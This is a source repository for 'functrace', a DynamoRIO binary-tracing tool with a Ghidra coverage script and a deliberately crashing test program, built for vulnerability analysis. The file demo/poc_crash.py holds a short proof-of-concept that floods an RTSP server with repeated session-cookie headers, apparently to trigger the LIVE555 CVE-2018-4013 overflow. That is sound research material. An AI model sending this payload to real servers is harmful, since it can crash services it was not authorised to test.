├── CMakeLists.txt
├── LICENSE
├── README.md
├── bb_getinfo.cpp
├── bb_getinfo.h
├── demo
└── poc_crash.py
├── functrace.cpp
├── ghidra_script
└── functrace_ghrida.java
├── images
├── CVE-2018-4013.gif
└── functrace.gif
├── slides
└── warcon_functrace.pdf
├── tests
├── Makefile
└── simple_test.c
└── utils.h
/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required(VERSION 2.6)
2 | project (functrace)
3 |
4 | find_package(DynamoRIO)
5 | add_library(functrace SHARED functrace.cpp bb_getinfo.cpp)
6 | configure_DynamoRIO_client(functrace)
7 |
8 | use_DynamoRIO_extension(functrace drmgr)
9 | use_DynamoRIO_extension(functrace drsyms)
10 | use_DynamoRIO_extension(functrace drwrap)
11 |
12 | if (NOT DynamoRIO_FOUND)
13 | message(FATAL_ERROR "DynamoRIO package required to build")
14 | endif(NOT DynamoRIO_FOUND)
15 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2018 Andrea Sindoni
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # functrace - A function tracer
2 |
3 | *functrace* is a tool that helps to analyze a binary file with dynamic instrumentation using *DynamoRIO* ().
4 |
5 | These are some implemented features (based on DynamoRIO):
6 |
7 | - [ ] disassemble all the executed code
8 | - [ ] disassemble a specific function (dump if these are addresses)
9 | - [ ] get arguments of a specific function (dump if these are addresses)
10 | - [ ] get return value of a specific function (dump if this is an address)
11 | - [ ] monitors application signals
12 | - [ ] generate a report file
13 | - [ ] *ghidra*() coverage script (based on the functrace report file)
14 |
15 | ## Setup
16 |
17 | ```shell
18 | $ wget https://github.com/DynamoRIO/dynamorio/releases/download/release_7_0_0_rc1/DynamoRIO-Linux-7.0.0-RC1.tar.gz
19 | $ tar xvzf DynamoRIO-Linux-7.0.0-RC1.tar.gz
20 | ```
21 | OR
22 | ```shell
23 | $ wget https://github.com/DynamoRIO/dynamorio/releases/download/cronbuild-7.91.18047/DynamoRIO-x86_64-Linux-7.91.18047-0.tar.gz
24 | $ tar xvzf DynamoRIO-x86_64-Linux-7.91.18047-0.tar.gz
25 | ```
26 | You can also clone and compile directly DynamoRIO
27 |
28 | ```shell
29 | $ git clone https://github.com/invictus1306/functrace
30 | $ mkdir -p functrace/build
31 | $ cd functrace/build
32 | $ cmake .. -DDynamoRIO_DIR=/full_DR_path/cmake/
33 | $ make -j4
34 | ```
35 | ## Simple DEMO
36 |
37 | 
38 |
39 | ## Using functrace
40 |
41 | ```shell
42 | $ drrun -c libfunctrace.so -report_file report -- target_program [args]
43 | ```
44 |
45 | ### Options
46 |
47 | The following *[functrace]*(https://github.com/invictus1306/functrace) options are supported:
48 |
49 | ```latex
50 | -disassembly -> disassemble all the functions
51 | -disas_func function_name -> disassemble only the function function_name
52 | -wrap_function function_name -> wrap the function function_name
53 | -wrap_function_args num_args -> number of arguments of the wrapped function
54 | -cbr -> remove the bb from the cache (in case of conditional jump)
55 | -report_file file_name -> report file name (required)
56 | -verbose -> verbose
57 | ```
58 |
59 | ### Simple usage
60 |
61 | #### Option *-verbose*
62 | ```shell
63 | $ drrun -c libfunctrace.so -report_file report -verbose -- target_program [args]
64 | ```
65 |
66 | #### Option *-disassemby*
67 | ```shell
68 | $ drrun -c libfunctrace.so -report_file report -disassembly -- target_program [args]
69 | ```
70 |
71 | #### Option *-disas_func*
72 | ```shell
73 | $ drrun -c libfunctrace.so -report_file report -disas_func name_function -- target_program [args]
74 | ```
75 |
76 | #### Option *-wrap_function* and *-wrap_function_args*
77 | ```shell
78 | $ drrun -c libfunctrace.so -report_file report -wrap_function name_function -wrap_function_args num_args -- target_program [args]
79 | ```
80 |
81 | #### Option *-cbr*
82 | ```shell
83 | $ drrun -c libfunctrace.so -report_file report -cbr -- target_program [args]
84 | ```
85 |
86 | ### CVE-2018-4013 - Vulnerability Analysis
87 |
88 | A vulnerability on the [LIVE555 RTSP](http://www.live555.com/) server library. This is the [description](https://www.cvedetails.com/cve/CVE-2018-4013/).
89 |
90 | 
91 |
92 | ## Working enviroment
93 | Tested on Ubuntu 16.04.5 LTS 64 bit
94 |
95 | ## Future features
96 | * Ghidra plugin
97 | * Visual setup interface
98 | * Store and compare different coverage analysis
99 | * Run DR directy from ghidra
100 | * Add more functionality to functrace
101 | * Support for Android
102 |
--------------------------------------------------------------------------------
/bb_getinfo.cpp:
--------------------------------------------------------------------------------
1 | #include "utils.h"
2 | #include "drsyms.h"
3 | #include "bb_getinfo.h"
4 |
5 | #include
6 |
7 | static drsym_info_t *syminfo;
8 |
9 | struct func_info {
10 | const char *name_function;
11 | app_pc start_addr;
12 | app_pc end_addr;
13 | app_pc pc;
14 | };
15 |
16 | drsym_info_t* drsym_obj(const char *path) {
17 | drsym_info_t *drsym_o;
18 | drsym_o = (drsym_info_t *)malloc(sizeof(drsym_info_t));
19 | if (drsym_o == NULL)
20 | return NULL;
21 | drsym_o->struct_size = sizeof(drsym_info_t);
22 | drsym_debug_kind_t kind;
23 | drsym_error_t symres = drsym_get_module_debug_kind(path, &kind);
24 | if (symres == DRSYM_SUCCESS)
25 | drsym_o->debug_kind = kind;
26 | drsym_o->name_size = LEN;
27 | drsym_o->file_size = LEN;
28 | drsym_o->file = (char *)malloc(LEN);
29 | drsym_o->name = (char *)malloc(LEN);
30 | return drsym_o;
31 | }
32 |
33 |
34 | void free_drsmy_obj(drsym_info_t *drsym_o) {
35 | if (drsym_o != NULL) {
36 | if (drsym_o->file != NULL)
37 | free(drsym_o->file);
38 | if (drsym_o->name != NULL)
39 | free(drsym_o->name);
40 | free(drsym_o);
41 | }
42 | }
43 |
44 | void free_drsmy() {
45 | free_drsmy_obj(syminfo);
46 | }
47 |
48 | drsym_error_t get_sym(app_pc pc, module_data_t *mod) {
49 | drsym_error_t symres = DRSYM_ERROR;
50 | syminfo = drsym_obj(mod->full_path);
51 |
52 | if (syminfo == NULL)
53 | return symres;
54 |
55 | size_t offset = pc - mod->start;
56 | syminfo->start_offs = 0;
57 | syminfo->end_offs = 0;
58 | symres = drsym_lookup_address(mod->full_path, offset, syminfo, DRSYM_DEMANGLE);
59 | return symres;
60 |
61 | }
62 |
63 | char *get_info(void *drcontext, app_pc pc, module_data_t *mod, app_pc last_instr, file_t fd) {
64 | drsym_error_t symres;
65 | struct func_info functions;
66 | char *ret_function;
67 |
68 | ret_function = (char *)malloc(LEN);
69 |
70 | if (ret_function == NULL)
71 | return NULL;
72 |
73 | memset(ret_function, 0, LEN);
74 |
75 | app_pc mod_base = mod->start;
76 |
77 | symres = get_sym(pc, mod);
78 |
79 | if (symres == DRSYM_ERROR)
80 | return NULL;
81 |
82 | functions.pc = pc;
83 |
84 | if (symres == DRSYM_SUCCESS || symres == DRSYM_ERROR_LINE_NOT_AVAILABLE) {
85 | functions.name_function = syminfo->name;
86 | functions.start_addr = syminfo->start_offs + mod_base;
87 | functions.end_addr = syminfo->end_offs + mod_base;
88 | dr_fprintf(fd, "[FUNC];" PFX ";" PFX ";" PFX ";%s", functions.start_addr, functions.end_addr, functions.pc, functions.name_function);
89 |
90 | memcpy(ret_function, functions.name_function, LEN);
91 |
92 | } else {
93 | app_pc first_bb = pc;
94 | dr_fprintf(fd, "[NOFUNC];" PFX ";" PFX ";" PFX ";None", first_bb, last_instr, pc);
95 | }
96 |
97 | dr_fprintf(fd, "\n");
98 | return ret_function;
99 |
100 | }
--------------------------------------------------------------------------------
/bb_getinfo.h:
--------------------------------------------------------------------------------
1 | #ifndef BB_GETINFO_H_
2 | #define BB_GETINFO_H_
3 |
4 | #define LEN 256
5 |
6 | drsym_error_t get_sym(app_pc pc, module_data_t *mod);
7 | char* get_info(void *drcontext, app_pc pc, module_data_t *mod, app_pc last_instr, file_t fd);
8 | void free_drsmy();
9 |
10 | #endif
--------------------------------------------------------------------------------
/demo/poc_crash.py:
--------------------------------------------------------------------------------
1 | from socket import *
2 |
3 | host = "127.0.0.1"
4 | port = 8000
5 |
6 | def run():
7 | s = socket(AF_INET, SOCK_STREAM)
8 | s.connect((host, port))
9 | payload = "x-sessioncookie: BBBB\r\n"*200
10 | header = " HTTP/\r\n" + payload + "Accept: AAAA\r\n\r\n"
11 | s.send(header)
12 |
13 | if __name__ == '__main__':
14 | run()
15 |
--------------------------------------------------------------------------------
/functrace.cpp:
--------------------------------------------------------------------------------
1 | #include "utils.h"
2 | #include "drmgr.h"
3 | #include "drsyms.h"
4 | #include "drwrap.h"
5 | #include "dr_defines.h"
6 | #include "bb_getinfo.h"
7 |
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 |
16 | static void *mod_lock;
17 | static void *wrap_lock;
18 | static file_t fd;
19 | static size_t towrap = 0;
20 |
21 | typedef struct option_t {
22 | bool disassembly;
23 | bool verbose;
24 | bool disassembly_function;
25 | bool is_cbr;
26 | char function_name[LEN];
27 | bool report_file;
28 | char report_file_name[LEN];
29 | bool wrap_function;
30 | char wrap_function_name[LEN];
31 | size_t wrap_function_args;
32 | } option_t;
33 |
34 | static option_t options;
35 |
36 |
37 | void dump_mem(app_pc arg, app_pc address){
38 | char first[MAXIMUM_PATH] = {0};
39 | size_t bytes_read = 0;
40 |
41 | dr_safe_read(arg, BUFFER_SIZE_BYTES(first), first, &bytes_read);
42 | if (bytes_read < BUFFER_SIZE_BYTES(bytes_read))
43 | first[bytes_read] = '\0';
44 | NULL_TERMINATE_BUFFER(first);
45 |
46 | if (bytes_read){
47 | dr_fprintf(fd, "[DUMP];" PFX ";", address);
48 | for (int j=0; jhandle, NULL);
107 | while (dr_symbol_import_iterator_hasnext(imp_iter)) {
108 | dr_symbol_import_t *sym = dr_symbol_import_iterator_next(imp_iter);
109 | dr_fprintf(fd, "Name: %s\n", sym->name);
110 | }
111 | dr_symbol_import_iterator_stop(imp_iter);
112 | }
113 |
114 | static bool enumerate_sym(const char *name, size_t modoffs, void *data) {
115 | if (*name != 0) {
116 | if (options.verbose){
117 | dr_fprintf(fd, "Offset: " PFX " Name: %s\n", modoffs, name);
118 | }
119 | if (!strcmp(name, options.wrap_function_name)) {
120 | towrap = modoffs;
121 | }
122 | }
123 | return true;
124 | }
125 |
126 | static void event_module_load(void *drcontext, const module_data_t *mod, bool loaded) {
127 | drsym_error_t symr;
128 | app_pc mod_base = mod->start;
129 | module_data_t *data = dr_get_main_module();
130 |
131 | if (data == NULL) {
132 | dr_fprintf(fd, "[ERR];No main module found! \n");
133 | return;
134 | }
135 |
136 | const char *module_name = mod->names.file_name;
137 |
138 | if (module_name == NULL) {
139 | module_name = dr_module_preferred_name(mod);
140 | }
141 |
142 | if (options.verbose)
143 | dr_fprintf(fd, "[MOD];%s;" PFX ";%s\n", module_name, mod_base, mod->full_path);
144 |
145 | if (mod_base != data->start) {
146 | dr_free_module_data(data);
147 | return;
148 | }
149 |
150 | if (options.verbose) {
151 | dr_fprintf(fd, "[IMPORTS]: \n");
152 | iterate_imports(mod);
153 | dr_fprintf(fd, "[EXPORTS]: \n");
154 | }
155 |
156 | symr = drsym_enumerate_symbols(mod->full_path, enumerate_sym, NULL, DRSYM_DEFAULT_FLAGS);
157 | if (symr != DRSYM_SUCCESS && options.verbose)
158 | dr_fprintf(fd, "[ERR];search / enum error %d\n", symr);
159 |
160 | if (options.wrap_function) {
161 | bool wrapped = false;
162 | app_pc to_wrap = mod_base + towrap;
163 |
164 | if (towrap != 0) {
165 | wrapped = drwrap_wrap(to_wrap, wrap_pre, wrap_post);
166 | DR_ASSERT(wrapped);
167 | }
168 | }
169 |
170 | dr_free_module_data(data);
171 | }
172 |
173 | static void cbr_func(app_pc src, app_pc targ) {
174 | dr_mcontext_t mcontext = {sizeof(mcontext),DR_MC_ALL,};
175 | void *drcontext = dr_get_current_drcontext();
176 |
177 | dr_flush_region((app_pc)src, (size_t)targ - (size_t)src);
178 | dr_get_mcontext(drcontext, &mcontext);
179 | mcontext.pc = (app_pc)targ;
180 | dr_redirect_execution(&mcontext);
181 | }
182 |
183 | static dr_emit_flags_t event_bb_analysis(void *drcontext, void *tag, instrlist_t *bb, bool for_trace, bool translating, OUT void **user_data) {
184 | instr_t *instr;
185 | instr_t *last;
186 | module_data_t *data;
187 | module_data_t *mod;
188 | char *ret_function;
189 |
190 | drsym_error_t symres;
191 |
192 | instr = instrlist_first_app(bb);
193 | last = instrlist_last_app(bb);
194 |
195 | if (instr == NULL || last == NULL)
196 | return DR_EMIT_DEFAULT;
197 |
198 | app_pc pc = instr_get_app_pc(instr);
199 | app_pc last_instr = instr_get_app_pc(last);
200 | app_pc next_instr = (app_pc)decode_next_pc(drcontext, (byte *)pc);
201 |
202 | if (pc == NULL || last_instr == NULL)
203 | return DR_EMIT_DEFAULT;
204 |
205 | mod = dr_lookup_module(pc);
206 |
207 | if (mod == NULL)
208 | return DR_EMIT_DEFAULT;
209 |
210 | app_pc mod_base = mod->start;
211 |
212 | data = dr_get_main_module();
213 |
214 | if (data == NULL)
215 | return DR_EMIT_DEFAULT;
216 |
217 | if (mod_base != data->start)
218 | return DR_EMIT_DEFAULT;
219 |
220 | if (options.is_cbr) {
221 | if (instr_is_cbr(last)) {
222 | dr_mutex_lock(mod_lock);
223 |
224 | app_pc next_instr = (app_pc)decode_next_pc(drcontext, (byte *)last_instr);
225 |
226 | ret_function = get_info(drcontext, pc, mod, last_instr, fd);
227 |
228 | if (ret_function == NULL)
229 | return DR_EMIT_DEFAULT;
230 |
231 | if (options.disassembly && !options.disassembly_function)
232 | instrlist_disassemble(drcontext, (app_pc)tag, bb, fd);
233 | else if ((!options.disassembly && options.disassembly_function) && !strcmp(options.function_name, ret_function))
234 | instrlist_disassemble(drcontext, (app_pc)tag, bb, fd);
235 |
236 | dr_insert_clean_call(drcontext, bb, NULL,
237 | (void*)cbr_func,
238 | false,
239 | 2,
240 | OPND_CREATE_INTPTR(pc),
241 | OPND_CREATE_INTPTR(next_instr));
242 |
243 | free(ret_function);
244 | dr_free_module_data(mod);
245 | dr_free_module_data(data);
246 |
247 | dr_mutex_unlock(mod_lock);
248 |
249 | return DR_EMIT_STORE_TRANSLATIONS;
250 | }
251 | }
252 |
253 | dr_mutex_lock(mod_lock);
254 |
255 | ret_function = get_info(drcontext, pc, mod, last_instr, fd);
256 | if (ret_function == NULL)
257 | return DR_EMIT_DEFAULT;
258 |
259 | if (options.disassembly && !options.disassembly_function)
260 | instrlist_disassemble(drcontext, (app_pc)tag, bb, fd);
261 | else if ((!options.disassembly && options.disassembly_function) && !strcmp(options.function_name, ret_function))
262 | instrlist_disassemble(drcontext, (app_pc)tag, bb, fd);
263 |
264 | free(ret_function);
265 | dr_free_module_data(mod);
266 | dr_free_module_data(data);
267 |
268 | dr_mutex_unlock(mod_lock);
269 |
270 | return DR_EMIT_DEFAULT;
271 | }
272 |
273 | static dr_signal_action_t event_signal(void *drcontext, dr_siginfo_t *info) {
274 | if (info->sig == SIGTERM) {
275 | return DR_SIGNAL_SUPPRESS;
276 | } else if (info->sig == SIGSEGV || info->sig == SIGBUS || info->sig == SIGABRT) {
277 | dr_fprintf(fd, "[CRASH];%d;%s;" PFX "\n", info->sig, strsignal(info->sig), info->mcontext->pc);
278 | }
279 |
280 | return DR_SIGNAL_DELIVER;
281 | }
282 |
283 | static void event_exit(void) {
284 | dr_mutex_destroy(mod_lock);
285 | dr_mutex_destroy(wrap_lock);
286 |
287 | free_drsmy();
288 |
289 | dr_close_file(fd);
290 |
291 | drmgr_exit();
292 | drsym_exit();
293 | drwrap_exit();
294 | }
295 |
296 | static void usage() {
297 | dr_printf(" -disassembly\t\t\t\t\t disassemble all the functions\n");
298 | dr_printf(" -disas_func function_name\t\t\t disassemble only the function function_name\n");
299 | dr_printf(" -wrap_function function_name\t\t\t wrap the function function_name\n");
300 | dr_printf(" -wrap_function_args num_args\t\t\t number of arguments of the wrapped function\n");
301 | dr_printf(" -cbr\t\t\t\t\t\t remove the bb from the cache (in case of conditional jump)\n");
302 | dr_printf(" -report_file file_name\t\t\t report file name\n");
303 | dr_printf(" -verbose\t\t\t\t\t verbose true\n");
304 | }
305 |
306 | static void options_init(int argc, const char *argv[]) {
307 | size_t i;
308 | const char *disassembly;
309 | const char *elem;
310 |
311 | if (argc < 2) {
312 | dr_printf("Invalid options!\n");
313 | usage();
314 | dr_abort();
315 | }
316 |
317 | options.disassembly = false;
318 | options.verbose = false;
319 | options.disassembly_function = false;
320 | options.report_file = false;
321 | options.wrap_function = false;
322 | options.is_cbr = false;
323 | options.wrap_function_args = 0;
324 |
325 | for (i = 1; i < argc; i++) {
326 | elem = argv[i];
327 | if (strcmp(elem, "-disassembly") == 0)
328 | options.disassembly = true;
329 | else if (strcmp(elem, "-verbose") == 0)
330 | options.verbose = true;
331 | else if (strcmp(elem, "-disas_func") == 0){
332 | USAGE_CHECK((i + 1) < argc, "missing disassembly function");
333 | elem = argv[++i];
334 | if (strlen(elem) < LEN) {
335 | options.disassembly_function = true;
336 | memcpy(options.function_name, elem, LEN);
337 | }
338 | }
339 | else if (strcmp(elem, "-report_file") == 0){
340 | USAGE_CHECK((i + 1) < argc, "missing report file");
341 | elem = argv[++i];
342 | if (strlen(elem) < LEN) {
343 | options.report_file = true;
344 | memcpy(options.report_file_name, elem, LEN);
345 | }
346 | }
347 | else if (strcmp(elem, "-wrap_function") == 0){
348 | USAGE_CHECK((i + 1) < argc, "missing function to wrap");
349 | elem = argv[++i];
350 | if (strlen(elem) < LEN) {
351 | options.wrap_function = true;
352 | memcpy(options.wrap_function_name, elem, LEN);
353 | }
354 | }
355 | else if (strcmp(elem, "-wrap_function_args") == 0){
356 | USAGE_CHECK((i + 1) < argc, "missing function arguments number");
357 | elem = argv[++i];
358 | if (options.wrap_function){
359 | options.wrap_function_args = strtoul(elem, NULL, 0);
360 | } else {
361 | dr_printf("missing function to wrap!\n");
362 | dr_abort();
363 | }
364 | }
365 | else if (strcmp(elem, "-cbr") == 0) {
366 | options.is_cbr = true;
367 | } else {
368 | dr_printf("Invalid option %s \n", elem);
369 | dr_abort();
370 | }
371 | }
372 | }
373 |
374 | DR_EXPORT void dr_client_main(client_id_t id, int argc, const char *argv[]) {
375 | dr_set_client_name("functrace", "@invictus1306");
376 |
377 | options_init(argc, argv);
378 |
379 | drmgr_init();
380 | drsym_init(0);
381 | drwrap_init();
382 | drmgr_register_signal_event(event_signal);
383 |
384 | disassemble_set_syntax(DR_DISASM_INTEL);
385 |
386 | mod_lock = dr_mutex_create();
387 | wrap_lock = dr_mutex_create();
388 |
389 | if (!options.report_file) {
390 | dr_printf("The report file name is required!\n");
391 | dr_abort();
392 | }
393 |
394 | fd = dr_open_file(options.report_file_name, DR_FILE_WRITE_OVERWRITE);
395 | if (fd == INVALID_FILE) {
396 | dr_printf("Unable to open log file %s\n", options.report_file_name);
397 | dr_abort();
398 | }
399 |
400 | dr_register_exit_event(event_exit);
401 | drmgr_register_module_load_event(event_module_load);
402 | drmgr_register_bb_instrumentation_event(event_bb_analysis, NULL, NULL);
403 | }
--------------------------------------------------------------------------------
/ghidra_script/functrace_ghrida.java:
--------------------------------------------------------------------------------
1 | //ghidra coverage script (based on functrace)
2 | //@author Andrea Sindoni @invictus1306
3 | //@category _NEW_
4 | //@keybinding
5 | //@menupath
6 | //@toolbar
7 |
8 | import java.awt.Color;
9 | import java.io.BufferedReader;
10 | import java.io.File;
11 | import java.io.FileNotFoundException;
12 | import java.io.FileReader;
13 | import java.io.IOException;
14 | import java.util.ArrayList;
15 |
16 | import ghidra.app.script.GhidraScript;
17 | import ghidra.framework.model.DomainFolder;
18 | import ghidra.framework.model.Project;
19 | import ghidra.framework.model.ProjectData;
20 | import ghidra.framework.plugintool.PluginTool;
21 | import ghidra.program.model.util.*;
22 | import ghidra.program.model.reloc.*;
23 | import ghidra.program.model.data.*;
24 | import ghidra.program.model.block.*;
25 | import ghidra.program.model.symbol.*;
26 | import ghidra.program.model.scalar.*;
27 | import ghidra.program.model.mem.*;
28 | import ghidra.program.model.listing.*;
29 | import ghidra.program.model.lang.*;
30 | import ghidra.program.model.pcode.*;
31 | import ghidra.program.model.address.*;
32 |
33 | public class functrace extends GhidraScript {
34 | private File report_file;
35 | private String comment_str = null;
36 | private ArrayList pc_list = new ArrayList();
37 |
38 |
39 | public void run() throws Exception {
40 | println("A Ghidra coverage script (based on functrace generated report) \n" +
41 | "functrace - Andrea Sindoni (@invictus1306)" +
42 | "\n");
43 |
44 | clearBackgroundColor(currentProgram.getMemory().getAllInitializedAddressSet());
45 |
46 | report_file = askFile("Please select the report file to analyze", "Load file");
47 |
48 | read_file(report_file.getAbsolutePath());
49 | }
50 |
51 | private void read_file(String file) {
52 | BufferedReader reader = null;
53 | try {
54 | reader = new BufferedReader(new FileReader(file));
55 | String line = reader.readLine();
56 | while (line != null) {
57 | parse_line(line, reader);
58 | line = reader.readLine();
59 | }
60 | reader.close();
61 | } catch (FileNotFoundException e) {
62 | e.printStackTrace();
63 | } catch (IOException e) {
64 | e.printStackTrace();
65 | } catch (AddressFormatException e) {
66 | e.printStackTrace();
67 | } finally {
68 | if (reader != null) {
69 | try {
70 | reader.close();
71 | } catch (IOException e) {
72 | e.printStackTrace();
73 | }
74 | }
75 | }
76 | }
77 |
78 | private void parse_line(String line, BufferedReader reader) throws AddressFormatException {
79 | try {
80 | String[] split_line = line.split(";");
81 |
82 | if (split_line[0].contains("FUNC")) {
83 | String current_pc = split_line[3];
84 | pc_list.add(current_pc);
85 | coverage_info(current_pc, null);
86 | } else if (split_line[0].contains("ARG")) {
87 | comment_str = "";
88 | int num_args = Integer.parseUnsignedInt(split_line[4]);
89 | for (int k = 0; k < num_args; k++) {
90 | String arg_num = split_line[3];
91 | String value = split_line[5];
92 | comment_str += "Argument " + arg_num + " : " + value + "\n";
93 |
94 | split_line = inc_line("ARG", reader, arg_num);
95 | }
96 | } else if (split_line[0].contains("RET")) {
97 | String address = split_line[2];
98 | String value = split_line[3];
99 | comment_str += "retrun value is " + value + "\n";
100 | inc_line("RET", reader, null);
101 | add_comment(address);
102 | } else if (split_line[0].contains("CRASH")) {
103 | boolean is_abort_signal = false;
104 | String signal_number = split_line[1];
105 | String signal_desc = split_line[2];
106 | String pc = split_line[3];
107 | if (6 == Integer.parseInt(signal_number)) {
108 | is_abort_signal = true;
109 | int size = pc_list.size();
110 | pc = pc_list.get(size -3);
111 | }
112 | if (is_abort_signal) {
113 | comment_str = "CRASH with SIGABRT " + pc + " signal: " + signal_number + "(" + signal_desc + ")" + "\n";
114 | } else {
115 | comment_str = "CRASH at " + pc + " signal: " + signal_number + "(" + signal_desc + ")" + "\n";
116 | }
117 |
118 | add_comment(pc);
119 | coverage_info(pc, "CRASH");
120 | }
121 | }catch(NumberFormatException e){
122 | e.printStackTrace();
123 | }
124 | }
125 |
126 | private String[] inc_line(String type, BufferedReader reader, String arg_num){
127 | String line = null;
128 | String[] split_line;
129 |
130 | try {
131 | line = reader.readLine();
132 | } catch (IOException e) {
133 | e.printStackTrace();
134 | }
135 | if (line == null)
136 | return null;
137 |
138 | split_line = line.split(";");
139 | int check_line_size = split_line.length;
140 |
141 | if (split_line[0].contains("DUMP")) {
142 | String dump = "Nothing to dump";
143 | if (check_line_size == 3) {
144 | dump = split_line[2];
145 | }
146 |
147 | if (type == "ARG") {
148 | comment_str += "Argument " + arg_num + " is an address, dump: " + dump + "\n";
149 | try {
150 | line = reader.readLine();
151 | } catch (IOException e) {
152 | e.printStackTrace();
153 | }
154 | if (line == null)
155 | return null;
156 | split_line = line.split(";");
157 | } else if (type == "RET") {
158 | comment_str += "The retun valune is an address, dump: " + dump + "\n";
159 | }
160 | }
161 | return split_line;
162 | }
163 |
164 | private void coverage_info(String current_pc, String crash) throws AddressFormatException {
165 | AddressSpace defaultAS = currentProgram.getAddressFactory().getDefaultAddressSpace();
166 | Address pc_address = defaultAS.getAddress(current_pc);
167 |
168 | Instruction instruction = getInstructionAt(pc_address);
169 |
170 | while (true) {
171 |
172 | if (monitor.isCancelled()) {
173 | break;
174 | }
175 |
176 | if (instruction == null) {
177 | break;
178 | }
179 |
180 | Address curAddr = instruction.getAddress();
181 |
182 | if (crash == "CRASH") {
183 | setBackgroundColor(curAddr, Color.ORANGE);
184 | break;
185 | }
186 |
187 | setBackgroundColor(curAddr, Color.GREEN);
188 |
189 | if (!instruction.isFallthrough()) {
190 | setBackgroundColor(curAddr, Color.GREEN);
191 | break;
192 | }
193 |
194 | instruction = getInstructionAfter(instruction);
195 | }
196 | }
197 |
198 | private void add_comment(String address) throws AddressFormatException {
199 | AddressSpace defaultAS = currentProgram.getAddressFactory().getDefaultAddressSpace();
200 | Address sym_address = defaultAS.getAddress(address);
201 | Listing listing = currentProgram.getListing();
202 | CodeUnit codeUnit = listing.getCodeUnitAt(sym_address);
203 |
204 | if (codeUnit != null) {
205 | codeUnit.setComment(CodeUnit.PLATE_COMMENT, comment_str);
206 | } else {
207 | println(comment_str);
208 | }
209 |
210 | comment_str = null;
211 | }
212 | }
213 |
--------------------------------------------------------------------------------
/images/CVE-2018-4013.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/invictus1306/functrace/24479f1adb1ce9809aadd59dde4f38c85b79708a/images/CVE-2018-4013.gif
--------------------------------------------------------------------------------
/images/functrace.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/invictus1306/functrace/24479f1adb1ce9809aadd59dde4f38c85b79708a/images/functrace.gif
--------------------------------------------------------------------------------
/slides/warcon_functrace.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/invictus1306/functrace/24479f1adb1ce9809aadd59dde4f38c85b79708a/slides/warcon_functrace.pdf
--------------------------------------------------------------------------------
/tests/Makefile:
--------------------------------------------------------------------------------
1 | CC = gcc
2 | CFLAGS = -g -Wall
3 |
4 | TARGET = simple_test
5 |
6 | all: $(TARGET)
7 |
8 | $(TARGET): $(TARGET).c
9 | $(CC) $(CFLAGS) -o $(TARGET) $(TARGET).c
10 |
11 | clean:
12 | rm $(TARGET)
13 |
14 |
--------------------------------------------------------------------------------
/tests/simple_test.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #define MSG_LEN 16
6 |
7 | struct data{
8 | int a;
9 | char c;
10 | };
11 |
12 | char msgSecret[] = "This is the secret message";
13 | char msgDefault[] = "This is the default message";
14 |
15 | char *print_secr(char *msg_sec, char *message, int num) {
16 | char *ret_secr = malloc (sizeof(char) * 4);
17 | memcpy(ret_secr, "GOOD", 4);
18 |
19 | printf("Congrats! %s. Your input is %s \n", msg_sec, message);
20 |
21 | return ret_secr;
22 | }
23 |
24 | int print_default() {
25 | printf("Nothing will happen today! %s\n", msgDefault);
26 | return 0;
27 | }
28 |
29 | void crash_me() {
30 | struct data *data_pointer;
31 | data_pointer = (struct data *)malloc(sizeof(struct data));
32 | data_pointer->a = 5;
33 | data_pointer = NULL;
34 | data_pointer->a = 1;
35 | }
36 |
37 | int main(int argc, char **argv) {
38 | char message[MSG_LEN];
39 | char *ret_secr = NULL;
40 |
41 | printf("Please enter a message: \n");
42 | fgets(message, sizeof(message), stdin);
43 |
44 | int local_len = strlen(message);
45 | message[local_len-1] = '\0';
46 |
47 | if (!strcmp(message, "coverage")) {
48 | ret_secr = print_secr(msgSecret, message, 2);
49 | printf("Very %s!\n", ret_secr);
50 | } else if (!strcmp(message, "crash")) {
51 | crash_me();
52 | } else {
53 | print_default();
54 | }
55 |
56 | return 0;
57 | }
58 |
--------------------------------------------------------------------------------
/utils.h:
--------------------------------------------------------------------------------
1 | /* ***************************************************************************
2 | * Copyright (c) 2012-2013 Google, Inc. All rights reserved.
3 | * ***************************************************************************/
4 |
5 | /*
6 | * Redistribution and use in source and binary forms, with or without
7 | * modification, are permitted provided that the following conditions are met:
8 | *
9 | * * Redistributions of source code must retain the above copyright notice,
10 | * this list of conditions and the following disclaimer.
11 | *
12 | * * Redistributions in binary form must reproduce the above copyright notice,
13 | * this list of conditions and the following disclaimer in the documentation
14 | * and/or other materials provided with the distribution.
15 | *
16 | * * Neither the name of Google, Inc. nor the names of its contributors may be
17 | * used to endorse or promote products derived from this software without
18 | * specific prior written permission.
19 | *
20 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
21 | * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 | * ARE DISCLAIMED. IN NO EVENT SHALL GOOGLE, INC. OR CONTRIBUTORS BE LIABLE
